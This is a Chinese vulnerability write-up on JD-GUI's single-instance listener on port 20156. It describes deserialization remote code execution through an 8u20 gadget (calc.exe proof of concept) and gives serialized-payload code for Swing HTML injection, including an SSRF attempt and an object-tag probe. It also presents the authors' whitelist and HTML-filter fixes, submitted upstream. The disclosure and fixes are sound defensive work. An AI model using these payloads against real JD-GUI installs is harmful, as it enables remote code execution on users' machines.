JD-GUI 反序列化 XSS | 长亭百川云

上周和Y4tacker师傅交流学习，偶然间发现 JD-GUI 在开启某项配置的情况下，会监听端口并反序列化任意的数据，深入研究后发现了一些其他的安全问题，最终我和 Y4tacker 师傅提了两个 issue 并提交了修复代码的 Pull Request 不过 JD-GUI 社区不活跃，很久无回复

入口

在 JD-GUI 的入口类 App 中可以发现以下代码

`// 如果开启了某个特殊参数（单例）``if ("true".equals(configuration.getPreferences().get(SINGLE_INSTANCE))) {`    `InterProcessCommunicationUtil ipc = new InterProcessCommunicationUtil();`    `try {`        `// 监听端口`        `ipc.listen(receivedArgs -> controller.openFiles(newList(receivedArgs)));`    `} catch (Exception notTheFirstInstanceException) {`        `// 如果无法监听则发送参数`        `ipc.send(args);`        `System.exit(0);`    `}``}`

如果开启了这个参数，那么你的系统中只会跑一个 JD-GUI （单例）在 Windows 中配置文件 jd-gui.cfg 默认在 C:\\Users\\User\\AppData\\Roaming\\jd-gui.cfg 中。我们需要加入的属性是 UIMainWindowPreferencesProvider.singleInstance

`<preferences>`    `<JdGuiPreferences.errorBackgroundColor>0xFF6666</JdGuiPreferences.errorBackgroundColor>`    `<JdGuiPreferences.jdCoreVersion>1.1.3</JdGuiPreferences.jdCoreVersion>`    `<UIMainWindowPreferencesProvider.singleInstance>true</UIMainWindowPreferencesProvider.singleInstance>``</preferences>`

配置好参数，正常启动第一个 JD-GUI 程序。当你启动第二个 JD-GUI 的时候， JD-GUI 尝试监听端口被占用报错，会将当前的启动参数发送到第一个 JD-GUI 中被反序列化，并以文件的方式打开。如下图中，我已经打开了一个 JD-GUI 然后在 IDEA 中设置启动参数为 arthas-core.jar 测试文件，发现第一个 JD-GUI 会直接打开该文件

8u20 RCE

当我看到反序列化的时候，立刻想到的是 8u20 反序列化

先到国外佬的 Github 下一份 8u20 的生成代码：https://github.com/pwntester/JRE8u20\_RCE\_Gadget

修改 ExploitGenerator#main 方法代码，弹一个计算器即可

String command = "calc.exe";

进入 InterProcessCommunicationUtil 可以发现监听的端口是 20156

`protected static final int PORT = 2015_6;``   ``public static void listen(final Consumer<String[]> consumer) throws Exception {`    `final ServerSocket listener = new ServerSocket(PORT);``   `    `Runnable runnable = new Runnable() {`        `@Override`        `public void run() {`            `while (true) {`                `try (Socket socket = listener.accept();`                     `ObjectInputStream ois = new ObjectInputStream(socket.getInputStream())) {`                    `// Receive args from another JD-GUI instance`                    `String[] args = (String[])ois.readObject();`                    `consumer.accept(args);`                `} catch (IOException|ClassNotFoundException e) {`                    `assert ExceptionUtil.printStackTrace(e);`                `}`            `}`        `}`    `};``   `    `new Thread(runnable).start();``}`

运行后生成一个 exploit.ser 文件，通过 Socket 将数据发到 JD-GUI 实现 RCE 攻击

8u20 RCE Fix

对于这个问题的修复很简单，设置反序列化白名单我已将代码提交到 JD-GUI 官方：https://github.com/java-decompiler/jd-gui/pull/417

自定义 ObjectInputStream 并重写 resolveClass 只允许字符串数组（ [Ljava.lang.String; ）

`static class FilterObjectInputStream extends ObjectInputStream {``   `    `public FilterObjectInputStream(InputStream in) throws IOException {`        `super(in);`    `}``   `    `@Override`    `protected Class<?> resolveClass(final ObjectStreamClass classDesc) throws IOException, ClassNotFoundException {`        `if (classDesc.getName().equals("[Ljava.lang.String;")) {`            `return super.resolveClass(classDesc);`        `}`        `throw new RuntimeException(String.format("not support class: %s",classDesc.getName()));`    `}``}`

使用安全的 FilterObjectInputStream 进行反序列化

`ObjectInputStream ois = new FilterObjectInputStream(socket.getInputStream()));``// Receive args from another JD-GUI instance``String[] args = (String[])ois.readObject();``consumer.accept(args);`

发送 Payload 后报错，成功修复

XSS

当修复反序列化漏洞后，是否还有进一步的利用空间

反序列化收到的字符串数组后，首先构造一个文件集合

`protected static List<File> newList(String[] paths) {`    `if (paths == null) {`        `return Collections.emptyList();`    `} else {`        `ArrayList<File> files = new ArrayList<>(paths.length);`        `for (String path : paths) {`            `files.add(new File(path));`        `}`        `return files;`    `}``}`

当文件不存在时，文件绝对路径会加入一个错误集合中

`ArrayList<String> errors = new ArrayList<>();``for (File file : files) {`    `// Check input file`    `if (file.exists()) {`        `FileLoader loader = getFileLoader(file);`        `if ((loader != null) && !loader.accept(this, file)) {`            `errors.add("Invalid input fileloader: '" + file.getAbsolutePath() + "'");`        `}`    `} else {`        `errors.add("File not found: '" + file.getAbsolutePath() + "'");`    `}``}`

在下文中，这个错误集合会被拼接字符串，通过 JOptionPane 显示

`for (String error : errors) {`    `if (index > 0) {`        `messages.append('\n');`    `}`    `if (index >= 20) {`        `messages.append("...");`        `break;`    `}`    `messages.append(error);`    `index++;``}``   ``JOptionPane.showMessageDialog(mainView.getMainFrame(), messages.toString(), "Error", JOptionPane.ERROR_MESSAGE);`

在Java Swing 中，绝大多数的组件都支持 HTML 渲染。简单尝试直接使用 HTML 标签发送

`FileOutputStream fos = new FileOutputStream("exploit.ser");``ObjectOutputStream oos = new ObjectOutputStream(fos);``oos.writeObject(new String[]{"<html>Y4TACKER</html>"});``fos.write(bytes);``fos.close();`

发现直接的 HTML 标签不会渲染

经过我们多次的测试，发现开头加入多个换行会解析 HTML

使用以下的 Payload 测试

`FileOutputStream fos = new FileOutputStream("exploit.ser");``ObjectOutputStream oos = new ObjectOutputStream(fos);``oos.writeObject(new String[] {"/\r\n\r\n\r\n<html><body><h1 color='red'>4ra1n and Y4tacker</h1><body></html>"});``fos.write(bytes);``fos.close();`

结果如下，发现没有完全解析

经过进一步的分析，我发现了这里的原因：

这里的输入字符串会变成 File 类的构造参数
回显使用 file.getAbsolutePath 方法获得
在 Windows 中会把所有的 / 当成路径换成 \ 符导致无法解析闭合标签

在 Mac OS 中不会把 / 替换，所以 Y4tacker 师傅的报告中正常解析

这个问题会导致在 Windows 中不可能实现 SSRF 效果（不确定 Linux 中的处理逻辑）

oos.writeObject(new String[] {"/\r\n\r\n\r\n<html><img src=\"http://127.0.0.1:1234/test\"></html>"});

调试分析真正的字符串如下，无论多少个 / 或 \ 在 file.getAbsolutePath 后都会变成一个

进一步探索

既然无法 SSRF 那么我想到了曾经的 Swing RCE

<html><object classid="?"><param name="?" value="?">

这种方式的不需要标签的闭合即可生效，简单地尝试

oos.writeObject(new String[]{"\n\n\n\n<html><object classid=\"?\"><param name=\"?\" value=\"?\">"});

如图，出现两个红色问号说明已经成功了

接下来是寻找 JD-GUI 是否存在符合的 gadget

- 必须有一个 set 方法

- set 方法必须只有一个参数

- 这一个参数必须是 string 类型

- 该类必须是 Component 子类（包括间接子类）

使用我的工具 jar-analyzer 加入 JD-GUI 和 rt.jar 开始分析

（实际上我写的规则不够完善存在一些误报）

搜索到了一大堆结果，但逐个分析后都没有什么活

随便使用 JLabel 测试 javax.swing.JLabel

`oos.writeObject(new String[]{"\n\n\n\n<html><object classid=\"javax.swing.JLabel\"><param name=\"text\" value=\"hello world!\">"});``fos.write(bytes);``fos.close();`

发送过去如图，产生了变化，说明思路正确，只差 gadget

最后，哪怕 JD-GUI 里存在 gadget 大概率也需要其中的 value 是一个远程地址，由于上文提到的限制很可能无法成功利用。不过，无论如何都应该尝试找一下

XSS Fix

这个问题的修复就很简单了，在 Swing 里注入 html 没有什么花活，只判断即可

于是在上文 FilterObjectInputStream 保护反序列化的基础上再过滤一层

https://github.com/java-decompiler/jd-gui/pull/418

`ObjectInputStream ois = new FilterObjectInputStream(socket.getInputStream());``String[] args = (String[]) ois.readObject();``   ``for (String arg : args) {`    `if (arg.toLowerCase().contains("<html>")) {`        `throw new RuntimeException(String.format("evil arg: %s", arg));`    `}``}``   ``consumer.accept(args);`